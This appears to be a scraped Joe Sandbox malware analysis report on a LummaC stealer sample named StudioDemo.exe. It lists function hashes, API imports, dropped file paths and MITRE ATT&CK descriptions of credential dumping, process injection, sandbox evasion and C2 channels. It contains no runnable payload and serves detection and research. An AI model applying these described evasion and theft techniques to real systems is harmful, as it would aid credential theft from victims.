Opcode ID: 7030ebba14a130416e5b016894051cc00a6cf49df40127377cf5a75043341e74
Instruction ID: 16dcee3ba08ccf173f32568616034aaebb60316f53ec5d1fbdbffb31f650449f
Opcode Fuzzy Hash: 7030ebba14a130416e5b016894051cc00a6cf49df40127377cf5a75043341e74
Instruction Fuzzy Hash: 28215F1524E3C1DA8396C67D08C448FAF924EFA004FD8AE9DF4C42B39BC5A4C559C7AB

Function 004393A0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 79ae12021e2354b86ae8de834f3a80a322a892d1e34b526bc58ccebb9260b299
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: F311E933A091D50EC3168D3C84405A5BFA31BAB234F19539BF4F59B2D2D6268D8BC359

Function 0042EB70 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fda43b160796317a08369fdd6598b01dd2c77e22e051a72af65628de91256ab1
Instruction ID: b720faef0cb4415dbdc2f5f454a62bd2d44211232ce75d083da5c546d2d55283
Opcode Fuzzy Hash: fda43b160796317a08369fdd6598b01dd2c77e22e051a72af65628de91256ab1
Instruction Fuzzy Hash: 33019EB170031197DB20DE62E4D0B27B6AA6F84708F48053EE80657382DB79FC0582D9

Function 00442074 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccdc1d3d3b709c7debc46d02998c2a2a319d7c52e413480df0bd88b69bc71ca2
Instruction ID: cc9ee1dad1f40310e567cf0c47c754acd168049bc0d049a813758cfb97b3d173
Opcode Fuzzy Hash: ccdc1d3d3b709c7debc46d02998c2a2a319d7c52e413480df0bd88b69bc71ca2
Instruction Fuzzy Hash: 04F0F63961A3408BD309DF28C87022BB7E3ABD6301F1685ADD1C297351CB759812C789

Function 004358E7 Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 87COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004358F0
VariantInit.OLEAUT32 ref: 004358FC

Strings

E, xrefs: 00435942
C, xrefs: 0043592A
#, xrefs: 00435956
M, xrefs: 00435922
I, xrefs: 00435912
O, xrefs: 0043591A
G, xrefs: 0043593A
A, xrefs: 00435932

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Variant$ClearInit
String ID: #$A$C$E$G$I$M$O
API String ID: 2610073882-155276152
Opcode ID: cdf9746a0ad4b1564d5ffa0ca166dceda7750a7117fec424eb3a64adea50ba9d
Instruction ID: a5afa432bdac8d143af84eda03770dbb24f7a3549f064e541738663ed8bfee72
Opcode Fuzzy Hash: cdf9746a0ad4b1564d5ffa0ca166dceda7750a7117fec424eb3a64adea50ba9d
Instruction Fuzzy Hash: E8413A61208B82CFD715CF7C8898216BFE16F56214F08869CD9E94F3E6C778D50AC7A2

Function 00435CA0 Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 79COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00435CA9
VariantInit.OLEAUT32 ref: 00435CB5

Strings

A, xrefs: 00435CEE
C, xrefs: 00435CE6
M, xrefs: 00435CDE
O, xrefs: 00435CD6
G, xrefs: 00435CF6
E, xrefs: 00435CFE
#, xrefs: 00435D12
I, xrefs: 00435CCE

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Variant$ClearInit
String ID: #$A$C$E$G$I$M$O
API String ID: 2610073882-155276152
Opcode ID: 6902c727b96f4c3c6c658118e41eb55654a9d4905dd0cbd1d401ecdececbefda
Instruction ID: 0103580703877f0a3893cc072dcc8119a020eec29ac40827f58b1dfb8c42a1eb
Opcode Fuzzy Hash: 6902c727b96f4c3c6c658118e41eb55654a9d4905dd0cbd1d401ecdececbefda
Instruction Fuzzy Hash: 5A412A60108BC18ED715CF3C8598216BFE06B56224F0886DCE9E98F3E7C379D806C7A2

Function 0041D8C0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 102threadwindowCOMMON

Download Yara Rule

APIs

FindWindowExW.USER32(00000000,?,?,00000000), ref: 0041D69F
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0041D6C6
IsWindowEnabled.USER32(00000000), ref: 0041D6E0
IsWindowVisible.USER32(00000000), ref: 0041D6F5

Strings

@C, xrefs: 0041D63A

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Window$EnabledFindProcessThreadVisible
String ID: @C
API String ID: 3858996717-1584745936
Opcode ID: ff136a64eaf1a301ad58b8e18eb23a6c3e4e44a73de58e597cc7a68850516475
Instruction ID: aac869336749b281c900a8d3212f0cddfd503a3e7b78bad9aeaf4376d88e5847
Opcode Fuzzy Hash: ff136a64eaf1a301ad58b8e18eb23a6c3e4e44a73de58e597cc7a68850516475
Instruction Fuzzy Hash: DD318D7861A382CFD3648F64E8A57DBB7E4BF86305F05887CE18587250DB348940CF4A

Function 00437828 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00437862
GetSystemMetrics.USER32 ref: 00437871

Strings

, xrefs: 0043791C

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 0557580d31afd21fb392525a3f9b90b506a779c7b62e5b4206ab68adda158def
Instruction ID: 439bb75735320bbe8c2ea5b8eb2263a6e535e63a3f3b2efaa2b1167951669a5e
Opcode Fuzzy Hash: 0557580d31afd21fb392525a3f9b90b506a779c7b62e5b4206ab68adda158def
Instruction Fuzzy Hash: EB31C1B49183009FDB00EFA8D98561EBBF0BB89304F01896DE498DB365D3B49D58CB86

Function 0042C966 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,?,00000000), ref: 0042CA0D

Strings

g/W-, xrefs: 0042C999
T'\%, xrefs: 0042C9A7

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: CopyFile
String ID: T'\%$g/W-
API String ID: 1304948518-2559879320
Opcode ID: edd073c49a8a493567abd0ba116b372d0a24b0d6ad1f8ca924c2fddb4ce0e533
Instruction ID: b32afdd0bc89de880709164cd681c60fbb51033ce8fc3778fee3b093565728bf
Opcode Fuzzy Hash: edd073c49a8a493567abd0ba116b372d0a24b0d6ad1f8ca924c2fddb4ce0e533
Instruction Fuzzy Hash: 191187B5654360CFC708CF18D989A8A7BB0EB05714F4A82E9D0559F362D378CA45DF94

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report StudioDemo.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\jsii-runtime.1178202491\bin\jsii-runtime.js

C:\Users\user\AppData\Local\Temp\jsii-runtime.1178202491\bin\jsii-runtime.js.map

C:\Users\user\AppData\Local\Temp\jsii-runtime.1178202491\lib\program.js

C:\Users\user\AppData\Local\Temp\jsii-runtime.1178202491\lib\program.js.map

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
StudioDemo.exe

Function 004108F0 Relevance: 14.1, Strings: 11, Instructions: 385
COMMON

Function 0041E9B6 Relevance: 11.3, APIs: 1, Strings: 5, Instructions: 812
COMMON

Function 00426744 Relevance: 10.2, Strings: 8, Instructions: 165
COMMON

Function 0043C3FA Relevance: 8.2, APIs: 5, Instructions: 703
COMMON

Function 0040DF60 Relevance: 5.3, Strings: 4, Instructions: 340
COMMON

Function 0040F95D Relevance: 4.4, Strings: 3, Instructions: 643
COMMON

Function 0043C0A8 Relevance: 3.7, APIs: 2, Instructions: 697
COMMON

Function 0040D5F0 Relevance: 6.1, APIs: 4, Instructions: 68
threadCOMMON

Function 0043E615 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14
memoryCOMMON

Function 0043BF63 Relevance: 3.1, APIs: 2, Instructions: 86
memoryCOMMON

Function 00410F69 Relevance: 3.0, APIs: 2, Instructions: 36
COMMON